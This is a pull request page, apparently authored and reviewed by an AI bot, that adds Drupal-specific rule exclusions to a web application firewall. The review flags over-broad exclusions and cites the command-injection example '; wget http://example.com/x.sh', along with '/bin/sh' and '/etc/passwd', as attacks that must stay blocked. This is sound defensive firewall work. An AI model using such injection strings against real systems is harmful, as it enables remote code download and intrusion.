Core Rule Set: Drupal's ordinary requests pass by default (closes #236) #243

Open
clawbot wants to merge 1 commits from issue-236-drupal-ordinary-requests into next
pull from: issue-236-drupal-ordinary-requests
Collaborator

Adds Drupal to the apps whose ordinary traffic passes at the defaults, per #212. internal/coreruleset/drupal.conf is the ninth change. testdata/drupal-requests.txt holds requests recorded from Drupal 11.4.11 (image digest sha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33) by a headless Chrome and an API client.

Fields and areas, each skipping 930120, 932120, 932230, 932235, 932250 and 932260:

  • /admin: title, name, user, filename, filemime, info, subject, author_name, search, q, destination.
  • destination on the edit, delete and sign-in pages.
  • /search: keys.
  • /entity_reference_autocomplete/: q.
  • /jsonapi/: every filter[...].

Body fields matter only while SWW_WAF_BODY_LIMIT is set: title, summary, tags, address, revision note, comment subject, media name and image text, plus body and comment body and JSON:API's title, subject, body.value, comment_body.value, and pass on sign-in.

Disclosures:

  • An ordinary request on any other field can still be refused.
  • These rules no longer cover those fields in those places.
  • Drupal 11.4's standard profile ships no content types or search, so the recording site applied core's recipes.
  • Static assets are capped to a few of each kind.
  • Anonymous search answered 403 while recorded; rule outcomes do not depend on the answer. Anonymous comments were not recorded.
  • coreruleset.go and the "nine changes" count will conflict with #241 and #225; whichever lands second adapts.

Model: opus-5-5

Adds Drupal to the apps whose ordinary traffic passes at the defaults, per https://git.eeqj.de/sneak/smallwebwaf/issues/212. `internal/coreruleset/drupal.conf` is the ninth change. `testdata/drupal-requests.txt` holds requests recorded from Drupal 11.4.11 (image digest `sha256:1a2847e557423860fced986fe2c3475059154631338b9a4a6d2c7eb95e355b33`) by a headless Chrome and an API client. Fields and areas, each skipping 930120, 932120, 932230, 932235, 932250 and 932260: - `/admin`: `title`, `name`, `user`, `filename`, `filemime`, `info`, `subject`, `author_name`, `search`, `q`, `destination`. - `destination` on the edit, delete and sign-in pages. - `/search`: `keys`. - `/entity_reference_autocomplete/`: `q`. - `/jsonapi/`: every `filter[...]`. Body fields matter only while `SWW_WAF_BODY_LIMIT` is set: title, summary, tags, address, revision note, comment subject, media name and image text, plus body and comment body and JSON:API's `title`, `subject`, `body.value`, `comment_body.value`, and `pass` on sign-in. Disclosures: - An ordinary request on any other field can still be refused. - These rules no longer cover those fields in those places. - Drupal 11.4's `standard` profile ships no content types or search, so the recording site applied core's recipes. - Static assets are capped to a few of each kind. - Anonymous search answered `403` while recorded; rule outcomes do not depend on the answer. Anonymous comments were not recorded. - `coreruleset.go` and the "nine changes" count will conflict with https://git.eeqj.de/sneak/smallwebwaf/pulls/241 and https://git.eeqj.de/sneak/smallwebwaf/pulls/225; whichever lands second adapts. Model: opus-5-5
clawbot self-assigned this 2026-11-09 10:17:01 +01:00
clawbot added 1 commit 2026-11-09 10:17:01 +01:00
Adds drupal.conf, the ninth change: on Drupal's paths, the fields that
carry a search, a name, a file name or an address skip the rules that
refused ordinary requests there. The recorded requests from Drupal 11.4
pass at the defaults and while bodies are read; SQL injection, path
traversal and script injection stay refused on those fields.

Model: opus-5-5
clawbot added the needs-review label 2026-11-09 10:17:12 +01:00
Author
Collaborator

For the reviewer. The bar is the plan at #212 (comment) and its addition at #212 (comment). Check that the fields this PR names are the ones Drupal's source carries free text in, that the hard values pass on them, and that the attacks stay refused. A refused ordinary request on a field or path outside what the PR names goes in your comment as a follow-up and does not fail this review.

Model: opus-5-5

**For the reviewer.** The bar is the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023. Check that the fields this PR names are the ones Drupal's source carries free text in, that the hard values pass on them, and that the attacks stay refused. A refused ordinary request on a field or path outside what the PR names goes in your comment as a follow-up and does not fail this review. Model: opus-5-5
Author
Collaborator

FAIL: needs-rework.

  1. internal/coreruleset/drupal.conf lines 31-32, 54-55, 65-66, 77-78, 92-93 and 129-130: rules 932230 and 932235 are switched off on fields where they do not misfire. On query fields they misfire only on destination, as lines 13-14 say. The definition of done at #212 limits each rule to the fields where it misfires. As a result, ; wget http://example.com/x.sh is refused on other fields but passes on title, keys, q and filter[...]. Change:

    • in 900800, keep the two rules for destination only;
    • delete them from 900802, 900803, 900804 and 900810;
    • in 900812, limit them to (?:comment_)?body\.value;
    • correct lines 9-16, SPEC.md lines 853-854 and the PR body's list of rules;
    • add a test that this attack stays refused on those fields.
  2. drupal.conf line 29: q on /admin has no recorded request and no comment line. #212 (comment) requires each field recorded with hard values, and the definition of done requires a comment naming the request. Record /admin/views/ajax/autocomplete/tag?q= with a plain word, python3, powershell, ls -la and .htaccess, and add its line to the comment at lines 19-26. Otherwise remove q.

  3. drupal.conf lines 87 and 103: comment/reply/node/[0-9]+/comment covers one shape of Drupal's route /comment/reply/{entity_type}/{entity}/{field_name}/{pid}. A reply to a comment (/comment/reply/node/1/comment/5), another comment field (/comment/reply/node/1/field_comments) and another entity type keep every rule, so subject[0][value]=python3 is refused there while bodies are read. SPEC.md line 867 says the comment forms are covered. Use comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)? in both rules, and add a recorded or test request for a reply to a comment.

  4. drupal.conf lines 142-150: pass still refuses two hard values while bodies are read: powershell (932120) and ls -la (932250). The comment says a password "holds any characters". Also remove 932120 and 932250 from pass and json.pass, add a test that python3, powershell, ls -la and .htaccess pass there, and update SPEC.md line 872.

  5. drupal.conf lines 90-95: the media form's revision note is revision_log_message[0][value], which the list omits. python3 there is refused on /media/add/image and /media/1/edit while bodies are read, though SPEC.md line 867 says the revision note on the media forms is covered. Add revision_log_message to that list.

  6. SPEC.md change 9:

    • Lines 867-871 omit the JSON:API title, subject and body.summary, which 900812 covers, so "Elsewhere these fields keep every rule." at line 874 is false. Name them.
    • It lacks the closing warning change 8 has, and /admin, /search, /user/..., /node/... and /jsonapi/ are paths other apps serve too. Add: "An app other than Drupal that serves one of them must check these fields itself."
  7. README.md line 588: "On Drupal's own paths, its searches, names and return addresses do." "Return addresses" reads as postal addresses. Use the phrase drupal.conf has: the page to return to.

Follow-ups, each for its own issue; they do not fail this review. These are refused with the hard values:

  • In the query, at the defaults:
    • name on /user/password;
    • q on /ckeditor5/{editor}/entity-link-suggestions and /block-category/autocomplete;
    • url on /media/oembed;
    • destination on /big_pipe/no-js, /node/N/revisions/M/revert, /node/N/revisions/M/delete and /block/add/{type}.
  • Named fields on a path with a language prefix, such as /fr/admin/content?title=python3.
  • While bodies are read:
    • name on sign-in, sign-up and password reset;
    • name[0][value] on the taxonomy term forms;
    • JSON:API name and revision_log.

Judgement call: rule 932160 still refuses /bin/sh and /etc/passwd on every named field. I read those as attacks the plan keeps refused, not as hard values.

Model: opus-5-5

**FAIL: `needs-rework`.** 1. `internal/coreruleset/drupal.conf` lines 31-32, 54-55, 65-66, 77-78, 92-93 and 129-130: rules 932230 and 932235 are switched off on fields where they do not misfire. On query fields they misfire only on `destination`, as lines 13-14 say. The definition of done at https://git.eeqj.de/sneak/smallwebwaf/issues/212 limits each rule to the fields where it misfires. As a result, `; wget http://example.com/x.sh` is refused on other fields but passes on `title`, `keys`, `q` and `filter[...]`. Change: - in `900800`, keep the two rules for `destination` only; - delete them from `900802`, `900803`, `900804` and `900810`; - in `900812`, limit them to `(?:comment_)?body\.value`; - correct lines 9-16, `SPEC.md` lines 853-854 and the PR body's list of rules; - add a test that this attack stays refused on those fields. 2. `drupal.conf` line 29: `q` on `/admin` has no recorded request and no comment line. https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023 requires each field recorded with hard values, and the definition of done requires a comment naming the request. Record `/admin/views/ajax/autocomplete/tag?q=` with a plain word, `python3`, `powershell`, `ls -la` and `.htaccess`, and add its line to the comment at lines 19-26. Otherwise remove `q`. 3. `drupal.conf` lines 87 and 103: `comment/reply/node/[0-9]+/comment` covers one shape of Drupal's route `/comment/reply/{entity_type}/{entity}/{field_name}/{pid}`. A reply to a comment (`/comment/reply/node/1/comment/5`), another comment field (`/comment/reply/node/1/field_comments`) and another entity type keep every rule, so `subject[0][value]=python3` is refused there while bodies are read. `SPEC.md` line 867 says the comment forms are covered. Use `comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?` in both rules, and add a recorded or test request for a reply to a comment. 4. `drupal.conf` lines 142-150: `pass` still refuses two hard values while bodies are read: `powershell` (932120) and `ls -la` (932250). The comment says a password "holds any characters". Also remove 932120 and 932250 from `pass` and `json.pass`, add a test that `python3`, `powershell`, `ls -la` and `.htaccess` pass there, and update `SPEC.md` line 872. 5. `drupal.conf` lines 90-95: the media form's revision note is `revision_log_message[0][value]`, which the list omits. `python3` there is refused on `/media/add/image` and `/media/1/edit` while bodies are read, though `SPEC.md` line 867 says the revision note on the media forms is covered. Add `revision_log_message` to that list. 6. `SPEC.md` change 9: - Lines 867-871 omit the JSON:API `title`, `subject` and `body.summary`, which `900812` covers, so "Elsewhere these fields keep every rule." at line 874 is false. Name them. - It lacks the closing warning change 8 has, and `/admin`, `/search`, `/user/...`, `/node/...` and `/jsonapi/` are paths other apps serve too. Add: "An app other than Drupal that serves one of them must check these fields itself." 7. `README.md` line 588: "On Drupal's own paths, its searches, names and return addresses do." "Return addresses" reads as postal addresses. Use the phrase `drupal.conf` has: the page to return to. **Follow-ups, each for its own issue; they do not fail this review.** These are refused with the hard values: - In the query, at the defaults: - `name` on `/user/password`; - `q` on `/ckeditor5/{editor}/entity-link-suggestions` and `/block-category/autocomplete`; - `url` on `/media/oembed`; - `destination` on `/big_pipe/no-js`, `/node/N/revisions/M/revert`, `/node/N/revisions/M/delete` and `/block/add/{type}`. - Named fields on a path with a language prefix, such as `/fr/admin/content?title=python3`. - While bodies are read: - `name` on sign-in, sign-up and password reset; - `name[0][value]` on the taxonomy term forms; - JSON:API `name` and `revision_log`. Judgement call: rule 932160 still refuses `/bin/sh` and `/etc/passwd` on every named field. I read those as attacks the plan keeps refused, not as hard values. Model: opus-5-5
Author
Collaborator

For the reworker. Fix the seven findings of #243 (comment) as they say. The follow-ups at its end are not part of this rework; I file them. Change nothing else. Rebase onto current next. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per finding. Workers run on one model only: do not start a subagent on another.

For the next reviewer: the seven findings against the diff from 8c5762b, and make check on the head. Fail only for one of these or for a bug the rework introduces. A refused ordinary request on any other field goes in your comment as a follow-up.

Model: opus-5-5

**For the reworker.** Fix the seven findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/243#issuecomment-172101 as they say. The follow-ups at its end are not part of this rework; I file them. Change nothing else. Rebase onto current `next`. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per finding. Workers run on one model only: do not start a subagent on another. **For the next reviewer:** the seven findings against the diff from `8c5762b`, and `make check` on the head. Fail only for one of these or for a bug the rework introduces. A refused ordinary request on any other field goes in your comment as a follow-up. Model: opus-5-5
clawbot added needs-rework and removed needs-review labels 2026-11-09 10:45:20 +01:00
All checks were successful
check / check (push) Successful in 6m41s
You are not authorized to merge this pull request.
This pull request can be merged automatically.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin issue-236-drupal-ordinary-requests:issue-236-drupal-ordinary-requests
git checkout issue-236-drupal-ordinary-requests
Sign in to join this conversation.